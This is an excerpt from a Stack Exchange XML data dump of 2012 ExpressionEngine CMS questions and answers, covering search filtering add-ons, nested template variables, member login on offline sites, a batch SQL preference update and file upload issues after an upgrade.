  <row Id="1088" PostTypeId="2" ParentId="1051" CreationDate="2012-12-04T16:00:41.633" Score="4" Body="&lt;p&gt;Just wanted to add that the &lt;a href=&quot;http://gotolow.com/addons/low-search/changelog#v2.1.0&quot; rel=&quot;nofollow&quot;&gt;new version of Low Search&lt;/a&gt; allows you to filter entries by relationship (both native and Playa-based). Since Low Search extends the &lt;code&gt;channel:entries&lt;/code&gt; class, you can pretty much use it as a replacement with the added features. In addition the searching and filtering is much faster as it uses &lt;code&gt;FULLTEXT&lt;/code&gt; indexes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option as mentioned by adrienne is to use Playa and search the text that's stored in &lt;code&gt;exp_channel_data&lt;/code&gt;. I'd recommend using the 1entry_id1 when searching though, because Playa doesn't update the title text that's stored there when the child entry is updated. The &lt;code&gt;entry_id&lt;/code&gt; is store like &lt;code&gt;[123] This is the title&lt;/code&gt;, so you could search for &lt;code&gt;[123]&lt;/code&gt;. Keep the square brackets so that you don't accidentally match something like &lt;code&gt;[2123]&lt;/code&gt; when searching for &lt;code&gt;123&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="309" LastEditorUserId="55" LastEditDate="2012-12-04T20:30:07.937" LastActivityDate="2012-12-04T20:30:07.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1089" PostTypeId="2" ParentId="1086" CreationDate="2012-12-04T16:01:07.297" Score="5" Body="&lt;p&gt;I recently had the same issue where clicking the &quot;show&quot; link didn't show DB query results when template debugging was enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my case, it was my CSS reset code that was hiding the output. If I remember correctly, &quot;legend&quot; was set to display:none.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can check your theory about the matching IDs by setting up a blank template and checking to see if the query output appears on that page. &lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2012-12-04T16:01:07.297" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1090" PostTypeId="2" ParentId="1083" CreationDate="2012-12-04T16:14:57.017" Score="2" Body="&lt;p&gt;I believe for that level of specificity, you would need a separate workflow module. I believe &lt;a href=&quot;http://betterworkflow.electricputty.co.uk&quot; rel=&quot;nofollow&quot;&gt;BetterWorkFlow&lt;/a&gt; by ElectricPutty is possibly what you are looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally, in EE, once a channel is accessible, the privileges are closer to all or none. We've set business rules around editing before, but haven't really enforced them with the technology, accept for access. But we've been looking at BetterWorkFlow for a new project, where the client does require more control, and some of the staff wouldn't be inclined to stay within the limits of just business rules.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2012-12-04T16:14:57.017" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1091" PostTypeId="1" AcceptedAnswerId="1095" CreationDate="2012-12-04T16:18:14.960" Score="5" ViewCount="441" Body="&lt;p&gt;We typically demo new EE sites to clients with the site in &quot;offline&quot; mode, which prevents unauthorized access and requires the client to login before they can see anything. Previously we've either directed clients to the CP to login, or, have left the site online and done the authentication via Apache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is it possible to put an EE member login form in the offline template so they can login without having to go to the control panel first?&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried inserting this code into my offline template, but, it appears that the EE tags aren't getting parsed when the site's offline:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:member:login_form return=&quot;site/index&quot;}&#xA;        &amp;lt;p&amp;gt;&#xA;                &amp;lt;label&amp;gt;Username&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt;&#xA;                &amp;lt;input type=&quot;text&quot; name=&quot;username&quot; value=&quot;&quot; maxlength=&quot;32&quot; size=&quot;25&quot;&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;&#xA;                &amp;lt;label&amp;gt;Password&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt;&#xA;                &amp;lt;input type=&quot;password&quot; name=&quot;password&quot; value=&quot;&quot; maxlength=&quot;32&quot; size=&quot;25&quot;&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;        {if auto_login}&#xA;                &amp;lt;p&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;auto_login&quot; value=&quot;1&quot;&amp;gt; Auto-login on future visits&amp;lt;/p&amp;gt;&#xA;        {/if}&#xA;&#xA;        &amp;lt;p&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;anon&quot; value=&quot;1&quot; checked=&quot;checked&quot;&amp;gt; Show my name in the online users list&amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot;&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;a href=&quot;{path='member/forgot_password'}&quot;&amp;gt;Forgot your password?&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;{/exp:member:login_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="33" LastActivityDate="2012-12-04T16:52:11.573" Title="How do I get a member login form on the offline template?" Tags="|templates|members|login|offline|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1092" PostTypeId="2" ParentId="1091" CreationDate="2012-12-04T16:28:01.020" Score="7" Body="&lt;p&gt;I keep my site in online mode, but have the templates restricted to logged in members. When a non-logged in member visits the site they are redirected to a &quot;splash&quot; template with a login form. Once logged in they can see and do everything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can set this up in template preferences - It should be just ejnough to redirect the homepage as no-one else should know other links. If you wanted to you could do the redirect on all templates though.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2012-12-04T16:28:01.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1093" PostTypeId="2" ParentId="1091" CreationDate="2012-12-04T16:28:03.600" Score="0" Body="&lt;p&gt;No, you cannot because the offline template is .html and isn't parsed by the EE template engine. Allowing member groups to login when the site is offline is only really available to users who also have CP access.&lt;/p&gt;&#xA;" OwnerUserId="237" LastActivityDate="2012-12-04T16:28:03.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1094" PostTypeId="2" ParentId="1086" CreationDate="2012-12-04T16:31:21.990" Score="3" Body="&lt;p&gt;After doing some testing suggested by MediaGirl, I was able to answer with confidence that the root cause in my situation was the multiple calls to display template debugging (via the XHR-loaded content).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the code uses IDs to determine what container to show or hide and all 7 of those containers have the same ID, it creates a condition where none of them can be displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've mentioned this to EllisLab so hopefully they'll address it in a future update.&lt;/p&gt;&#xA;" OwnerUserId="2" LastActivityDate="2012-12-04T16:31:21.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1095" PostTypeId="2" ParentId="1091" CreationDate="2012-12-04T16:34:57.133" Score="6" Body="&lt;p&gt;It might be easier for you to leave the site online. You can emulate offline functionality by doing this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create an alternate main index template named something like &quot;home.&quot;&lt;/li&gt;&#xA;&lt;li&gt;Create a special &quot;Coming soon&quot; page for your main index template.&lt;/li&gt;&#xA;&lt;li&gt;Create a snippet with these contents:&lt;code&gt;{if logged_out}{redirect=&quot;/&quot;}{/if}&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Add the snippet to all of your pages (except the main index template).&lt;/li&gt;&#xA;&lt;li&gt;Add your login form to the main index (&quot;Coming Soon&quot;) page.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;(Optional)&lt;/em&gt; Link to &quot;/home&quot; instead of &quot;/index&quot; for all of your &quot;Home&quot; links, possibly through the definition of a global variable.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;When it comes time to push the site live, you have three things that will have to be done:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Move /home to /index&lt;/li&gt;&#xA;&lt;li&gt;Empty the contents of the logged_out snippet&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;(Optional)&lt;/em&gt; Change your home links.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="460" LastEditorUserId="460" LastEditDate="2012-12-04T16:52:11.573" LastActivityDate="2012-12-04T16:52:11.573" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1096" PostTypeId="1" AcceptedAnswerId="1100" CreationDate="2012-12-04T16:36:54.910" Score="7" ViewCount="526" Body="&lt;p&gt;So I'm taking an existing site and cloning it to use for another site. The thing is the existing site was built a long time ago and has several template insufficiencies including embeds nested 3 levels deep which I would like to fix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I've got the header embed now as a low variable which is great. However there are two further embeds within the header that I would like to use as separate low variables just to keep things easy to see in the templates - each of these is a rather large chunk of code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read &lt;a href=&quot;http://leereamsnyder.com/blog/low-variables-230-totally-killed-the-embed-tag&quot;&gt;Low Variables 2.3 totally killed the embed tag&lt;/a&gt; and see how that works, however I'm not really passing variables through to the first low variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is can I do what I want to and if so are there any implications for the future or speed of the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;exisiting code sample here&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;header id=&quot;header&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;header-bar&quot;&amp;gt;&#xA;&#xA; A whole bunch of code&#xA;&#xA;        {embed=&quot;embeds/_booking-box&quot;}&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!--header-bar--&amp;gt;&#xA;&#xA;More code here&#xA;&#xA;&amp;lt;!-- navigation --&amp;gt;&#xA;    {embed=&quot;embeds/_nav&quot;}&#xA;&amp;lt;/header&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So in the new template I want to replace those embeds with other low variables - do I need to preparse or not and will it work?&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2012-12-04T16:57:09.720" Title="Embedding Low Variables within Low Variables i.e. preparse" Tags="|add-on|ee2|templates|how-to|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1097" PostTypeId="2" ParentId="1076" CreationDate="2012-12-04T16:40:58.137" Score="3" Body="&lt;p&gt;Something else you might want to look at is the amount of PHP memory. Often times upping the memory limit might help.&lt;/p&gt;&#xA;" OwnerUserId="484" LastActivityDate="2012-12-04T16:40:58.137" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1098" PostTypeId="2" ParentId="1096" CreationDate="2012-12-04T16:51:44.757" Score="6" Body="&lt;p&gt;Taken straight from &lt;a href=&quot;https://getsatisfaction.com/low/topics/nesting_low_variables_within_low_variables_failing&quot;&gt;Low&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Nesting early parsed vars is tricky business. Before the version&#xA;  2.0.3, there was no predefined order in which the early parsed Low Variables (EPLV) were dealt with, so basically, if it worked, then&#xA;  that's just lucky. :) &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;As of LV 2.0.3, the EPLV are added to the native Snippets array (and&#xA;  thus parsed) in the order they appear in their group (actually, first&#xA;  by group ID, then by order in the group). This means you have more&#xA;  control over which EPLV are parsed before others. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;In your example, you could have a group called Snippets, containing 3&#xA;  EPLV, say {sidebar}, {sidebar_content_1} and {sidebar_content_2}. If&#xA;  you want to put the latter two in the first one, you'll have to make&#xA;  sure the order of the vars in the group is this: &lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;sidebar &lt;/li&gt;&#xA;  &lt;li&gt;sidebar_content_1 &lt;/li&gt;&#xA;  &lt;li&gt;sidebar_content_2 &lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;p&gt;Then it will work. An order like this will not work: &lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;sidebar_content_1 &lt;/li&gt;&#xA;  &lt;li&gt;sidebar_content_2 &lt;/li&gt;&#xA;  &lt;li&gt;sidebar &lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;p&gt;If you're nesting variables across groups, I'd recommend putting them&#xA;  in the same group to have more control over the order in which the&#xA;  EPLV are parsed. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="209" LastActivityDate="2012-12-04T16:51:44.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1099" PostTypeId="2" ParentId="453" CreationDate="2012-12-04T16:54:14.610" Score="2" Body="&lt;p&gt;I have maxed out at between 800-900 custom fields per EE install. This is on EE 1.6.7 and is an MSM installation with about 9 sites so not all of those custom fields are for a single site.&lt;/p&gt;&#xA;" OwnerUserId="2" LastActivityDate="2012-12-04T16:54:14.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1100" PostTypeId="2" ParentId="1096" CreationDate="2012-12-04T16:57:09.720" Score="13" Body="&lt;p&gt;Preparse vars are best used for simple bits of data, not large chunks of code. This is because the Preparse vars are passed along to the variable content by means of a parameter, and large amounts of data (with line breaks, etc...) inside a parameter is never a good idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at your example, there aren't any embed variables being passed through the embedded templates. That's a hint that you probably don't need Preparse variables either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, I'd recommend you create a LV group where you store early parsed template code snippets. Let's call that group 'Snippets'. Inside the group, you add 3 early parsed vars. The first one is the header var, which contains the booking-box and nav vars. All 3 should be early parsed, and the header var should be &lt;em&gt;above&lt;/em&gt; the other two, so it gets parsed before them. Then all 3 should be parsed just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In conclusion, create 3 early parsed textarea vars in a group in this order, eg.:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;lv_snippet_header&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;lv_snippet_booking-box&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;lv_snippet_nav&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Then in the &lt;code&gt;lv_snippet_header&lt;/code&gt;, add this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;header id=&quot;header&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;header-bar&quot;&amp;gt;&#xA;    A whole bunch of code&#xA;    {lv_snippet_booking-box}&#xA;  &amp;lt;/div&amp;gt;&amp;lt;!--header-bar--&amp;gt;&#xA;&#xA;  More code here&#xA;&#xA;  &amp;lt;!-- navigation --&amp;gt;&#xA;  {lv_snippet_nav}&#xA;&amp;lt;/header&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then add the above var to your templates in the &lt;strong&gt;variable syntax&lt;/strong&gt;: &lt;code&gt;{lv_snippet_header}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using the &lt;strong&gt;tag syntax&lt;/strong&gt;: &lt;code&gt;{exp:low_variables:single var=&quot;lv_snippet_header&quot;}&lt;/code&gt; then you need to change the reference to the variables inside it to use &lt;strong&gt;tag syntax as well&lt;/strong&gt; and you can then disable early parsing, as that's irrelevant for tag syntax.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2012-12-04T16:57:09.720" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1101" PostTypeId="2" ParentId="1086" CreationDate="2012-12-04T16:59:55.977" Score="5" Body="&lt;p&gt;Ian,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You and Anna/MediaGirl hit on the issue. Currently EE's output class only disables the template debugger and output profiler on responses sent through its own &lt;code&gt;send_ajax_response()&lt;/code&gt; method (which makes certain assumptions about the response itself.) Hopefully EllisLab will build in some additional ajax response options to the Output class in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Until that time,&lt;/strong&gt; I put together a simple plugin that allows you to surpress the template debugger and output profiler as needed. I'm not putting it anywhere because it's probably somewhat of an edge case. Here's the info:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a directory called &lt;code&gt;disable_profiler&lt;/code&gt; in your &lt;code&gt;third_party&lt;/code&gt; directory&lt;/li&gt;&#xA;&lt;li&gt;Create a file called &lt;code&gt;pi.disable_profiler.php&lt;/code&gt; in this new directory&lt;/li&gt;&#xA;&lt;li&gt;Here's the code for that file: &lt;a href=&quot;https://gist.github.com/4206180&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/4206180&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Add this tag to your templates loaded over ajax: &lt;code&gt;{exp:disable_profiler}&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You can tweak the code as needed, if you'd rather there be an ajax request logic. I ran this locally with a &lt;code&gt;$.get()&lt;/code&gt; and &lt;code&gt;$.load()&lt;/code&gt; jQuery snippet and it seems to work fine. The main/master template keeps the output profiler but the loaded templates do not and thus do not break the master one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;[Edit]&lt;/strong&gt;&lt;br&gt;&#xA;Per a tweet it looks like there's an add-on that has this behavior among other features. You just install it and it &quot;fixes&quot; this issue for all template requests (per the author's tweet).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add-on info: &lt;a href=&quot;http://devot-ee.com/add-ons/ee-debug-toolbar&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/ee-debug-toolbar&lt;/a&gt;&lt;br&gt;&#xA;Tweet reference: &lt;a href=&quot;https://twitter.com/mithra62/status/276025536717914113&quot; rel=&quot;nofollow&quot;&gt;https://twitter.com/mithra62/status/276025536717914113&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="199" LastEditorUserId="199" LastEditDate="2012-12-04T21:27:55.013" LastActivityDate="2012-12-04T21:27:55.013" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1102" PostTypeId="2" ParentId="910" CreationDate="2012-12-04T17:06:02.427" Score="2" Body="&lt;p&gt;I had this same issue yesterday and the &lt;strong&gt;facepalm moment&lt;/strong&gt; was when I realized I had added my variable to config.dev.php when I should have added it to config.local.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you certain it's not a similar situation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps double check the case statements in config.env.php to ensure the matching is working.&lt;/p&gt;&#xA;" OwnerUserId="2" LastActivityDate="2012-12-04T17:06:02.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1103" PostTypeId="1" AcceptedAnswerId="1104" CreationDate="2012-12-04T17:23:46.937" Score="1" ViewCount="143" Body="&lt;p&gt;I'm trying to map member fields in CartThrob, and I'm having trouble with Birthday.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{customer_bday_m}&lt;/code&gt; displays {customer_bday_m}&lt;br&gt;&#xA;&lt;code&gt;{customer_bday_month}&lt;/code&gt; (as shown in docs) displays nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are no options for the birthday day, month and year fields in the CT settings page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2012-12-04T21:34:47.923" Title="Cartthrob: Member Birthday Fields" Tags="|members|cartthrob|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1104" PostTypeId="2" ParentId="1103" CreationDate="2012-12-04T17:35:28.367" Score="3" Body="&lt;p&gt;Are you trying to store custom data on member save or checkout? If so, you will need to add &lt;code&gt;custom_data[custom_field_name]&lt;/code&gt; as the name for the input. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't see anything in their docs about birthdays?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may want to use &lt;a href=&quot;http://mightybigrobot.com/products/detail/profile-edit&quot; rel=&quot;nofollow&quot;&gt;Profile:Edit&lt;/a&gt; along with CartThrob as it can save customer data to your member channel entries automatically.&lt;/p&gt;&#xA;" OwnerUserId="209" LastEditorUserId="209" LastEditDate="2012-12-04T17:41:56.400" LastActivityDate="2012-12-04T17:41:56.400" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1105" PostTypeId="1" AcceptedAnswerId="1106" CreationDate="2012-12-04T17:57:20.637" Score="3" ViewCount="111" Body="&lt;p&gt;I inherited a site with a zillion channels, and every channel has &quot;Automatically Convert URLs to Links?&quot; set to &quot;yes&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a query I can use to update the preferences for all of these channels to &quot;no&quot; at the same time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.5.2&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2013-02-16T00:46:26.307" Title="How to Batch Update Channel Preferences?" Tags="|mysql|channel-preferences|batch-update|queries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1106" PostTypeId="2" ParentId="1105" CreationDate="2012-12-04T17:59:40.763" Score="15" Body="&lt;p&gt;The following should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE exp_channels SET channel_auto_link_urls = 'n';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Backup your DB first though! Always better to be safe.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My answer assumes that you know about the Database Query Form. It's located in Tools &amp;raquo; Data &amp;raquo; SQL Manager &amp;raquo; Database Query Form.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Further Update:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Removed backtick quotes from around table / column names for strange instances where that might cause an SQL error. :-)&lt;/p&gt;&#xA;" OwnerUserId="445" LastEditorUserId="445" LastEditDate="2013-02-16T00:46:26.307" LastActivityDate="2013-02-16T00:46:26.307" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1107" PostTypeId="1" AcceptedAnswerId="1110" CreationDate="2012-12-04T18:42:26.600" Score="6" ViewCount="4004" Body="&lt;p&gt;I'm wondering how best to handle providing the user the ability to filter channel entries via the front end with the selection of multiple criteria simultaneously - kind of like some real estate sites do, only in my case, I'm looking to filter entries each of which is a cosmetic surgical case (which is mostly photo content, but there is a little bit of text associated with each as well).  The user needs the ability to filter according to procedure, male/female, weeks post-op, and possibly other filters that get added down the line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had been planning to have procedures as entries and cases as entries, then using Playa relationships to tie them together, but the fact that i need to be abel to offer multiple filter criteria at once (limit view to facelifts, male, 6 weeks post-op, for example) makes that a daunting task from my perspective.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I be looking at categories instead (I'm not a fan of categories normally)? Or should I be using a search add-on like Low search.  Very interested to hear from the EE community on what would give me the most flexible solution (not to mention which would be manageable to implement).&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-08-18T17:14:46.780" Title="Front-end filtering of entries combining multiple selections" Tags="|categories|search|playa|filter|" AnswerCount="7" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1108" PostTypeId="2" ParentId="1107" CreationDate="2012-12-04T18:52:32.040" Score="0" Body="&lt;p&gt;I would setup the procedures as categories and keep the cases as entries. Maybe even break the procedures up into different category groups to keep it usable. (ie. Gender Cat Group, Recovery Cat Group, Surgery Cat Group)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Re: filtering the entries, this depends on how many cases there are. If there is going to a couple dozen (&amp;lt;100 or so), I would list all the entries on a page and use the categories as class names on each entry and filter with JS (show/hide). You would then setup a filtering system (selet menus) to drill down on each specific procedures and surgeries.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;case {categories backspace=&quot;1&quot;}{category_url_title} {/categories}&quot;&amp;gt;&#xA;    ...case info...&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If there is going to be a ton of cases, I would use a faceted approach with Low Search. Then you can append each category as necessary to filter the entries (cases)&lt;/p&gt;&#xA;" OwnerUserId="209" LastEditorUserId="209" LastEditDate="2012-12-04T18:59:54.857" LastActivityDate="2012-12-04T18:59:54.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1109" PostTypeId="2" ParentId="1107" CreationDate="2012-12-04T18:57:28.323" Score="3" Body="&lt;p&gt;You said it's mostly &quot;photo content&quot; which made me think of using something like Quicksand:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://razorjack.net/quicksand/&quot; rel=&quot;nofollow&quot;&gt;http://razorjack.net/quicksand/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could really filter anything with Quicksand from what I've seen of the &lt;a href=&quot;http://razorjack.net/quicksand/docs-and-demos.html#examples&quot; rel=&quot;nofollow&quot;&gt;demos&lt;/a&gt;, including text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could then use Tags or native Categories (or both) to setup up the data-id's as per the &lt;a href=&quot;http://razorjack.net/quicksand/docs-and-demos.html&quot; rel=&quot;nofollow&quot;&gt;Quicksand docs&lt;/a&gt; to filter off of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tag add-ons:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.devdemon.com/tagger/&quot; rel=&quot;nofollow&quot;&gt;Tagger&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.solspace.com/software/detail/tag/&quot; rel=&quot;nofollow&quot;&gt;Tag&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jason Varga commented about jQuery Isotope appearing to be a more active project and without doubt is definitely a more robust solution. After seeing that I'd say use it over Quicksand if you go this route.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://isotope.metafizzy.co&quot; rel=&quot;nofollow&quot;&gt;http://isotope.metafizzy.co&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16" LastEditorUserId="16" LastEditDate="2012-12-04T19:22:10.493" LastActivityDate="2012-12-04T19:22:10.493" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="1110" PostTypeId="2" ParentId="1107" CreationDate="2012-12-04T19:01:42.480" Score="9" Body="&lt;p&gt;If you're going the category route, you could use the native &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/dynamic_parameters.html&quot;&gt;Dynamic Parameters&lt;/a&gt;, possibly with &lt;a href=&quot;http://devot-ee.com/add-ons/dynamo&quot;&gt;Dynamo&lt;/a&gt;, to filter entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, using Low Search (or Super Search), you can also filter by Relationship fields (including Playa fields), so that would be more flexible. For example, you can use &lt;em&gt;inclusive&lt;/em&gt; filters, allowing to mimic &lt;code&gt;category=&quot;1&amp;amp;2&amp;amp;3&quot;&lt;/code&gt; as well as &lt;code&gt;category=&quot;1|2|3&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2012-12-04T19:01:42.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1111" PostTypeId="1" CreationDate="2012-12-04T20:22:35.767" Score="7" ViewCount="916" Body="&lt;p&gt;I just updated a site from 2.1.3 to 2.5.3 and I'm having some trouble with old file uploads.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;First Problem&lt;/strong&gt;&lt;br /&gt;&#xA;EE now seems to &lt;a href=&quot;https://www.php.net/manual/en/function.urlencode.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;URL Encode&lt;/a&gt; the file URL which causes some issues with &lt;a href=&quot;http://devot-ee.com/add-ons/image-sizer&quot; rel=&quot;nofollow noreferrer&quot;&gt;Image Sizer&lt;/a&gt; since it tries to use the encoded path.&lt;/p&gt;&#xA;&lt;p&gt;Is there a way to get the unencoded path or do I need to modify Image Sizer or use a different plugin?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Second problem&lt;/strong&gt;&lt;br /&gt;&#xA;Some of the old files had an &amp;amp; (ampersand) or other invalid characters in their name. After the upgrade when I did a sync on the upload directories it seems to have stripped those characters from the file names on the filesystem, but not from the actual File Upload Fields. Now I have to re-chose the files that got renamed and I get a PHP error (see below) when editing the entries.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was 